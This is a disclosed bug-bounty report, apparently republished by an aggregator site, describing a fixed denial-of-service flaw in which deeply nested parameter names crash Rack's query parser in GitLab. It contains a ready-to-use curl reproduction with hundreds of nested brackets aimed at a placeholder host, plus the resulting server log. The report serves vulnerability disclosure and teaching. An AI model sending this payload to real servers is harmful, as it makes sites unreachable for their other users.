Skip to content
DoS Disclosed report Beginner

Potential Denial of Service Vulnerability in Rack

A deeply nested parameter name caused Rack's query parser to raise an unhandled stack error, crashing the request. An attacker could send such a request to make the application unreachable.

GitLab

Originally disclosed on GitLab

  • Fixed in 44 days
  • Disclosed after 44 days

HackerOne report #1795976 by onmouseover_ on 2022-12-08, assigned to GitLab Team:

Report | How To Reproduce

Report

When a Rails application receives a request with either body or query parameters, these parameters are converted to a params hash. Hashes can be passed to the application in the form of user[name]=foo&user[address]=bar. Action Pack will then convert this into a hash in the form of { user[:name] => "foo", user[:address] => "bar" }. By passing a very large nested hash in the form of nested_hash[X1][X2]...[Xn], it is possible to create a denial of service condition in the form of a SystemStackError that is not handled properly. See the Bug Notes section on my attempt to figure out where this is occurring.

Reproduction step:

curl -i -s -k  -X 'GET' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-binary $'foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a]=bar' \  
'http://gitlab.example.com:5555/'  

/var/log/gitlab/gitlab-rails/production.log

Rack::QueryParser::ParamsTooDeepError (Rack::QueryParser::ParamsTooDeepError):  
    
lib/gitlab/middleware/handle_malformed_strings.rb:37:in `request_contains_malformed_string?'  
lib/gitlab/middleware/handle_malformed_strings.rb:19:in `call'  
lib/gitlab/middleware/basic_health_check.rb:25:in `call'  
lib/gitlab/middleware/handle_ip_spoof_attack_error.rb:25:in `call'  
lib/gitlab/middleware/request_context.rb:21:in `call'  
lib/gitlab/middleware/webhook_recursion_detection.rb:15:in `call'  
config/initializers/fix_local_cache_middleware.rb:11:in `call'  
lib/gitlab/middleware/compressed_json.rb:26:in `call'  
lib/gitlab/middleware/rack_multipart_tempfile_factory.rb:19:in `call'  
lib/gitlab/middleware/sidekiq_web_static.rb:20:in `call'  
lib/gitlab/metrics/requests_rack_middleware.rb:77:in `call'  
lib/gitlab/middleware/release_env.rb:13:in `call'  

this bug occurs on gitlab.com and local instances

Impact

Carefully crafted requests can cause a SystemStackError and potentially & Attackers can cause an application to be unreachable, causing a denial of service condition.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The query parser did not limit the depth of nested parameters, so a deeply nested name exhausted the call stack and raised an unhandled error.

Impact

An attacker can make the application unreachable for other users.

What the attacker needed

None

How it was found

  1. Send a request with a parameter name containing many nested brackets.
  2. Observe the server log showing a Rack query parser depth error.
  3. Confirm the error occurs on both a local instance and the hosted service.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Web applications often turn form fields like user[name] into nested data structures. If an attacker sends a field name with hundreds of nested brackets, the software that builds that structure runs out of stack space and crashes. This can take the whole site offline for other users.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.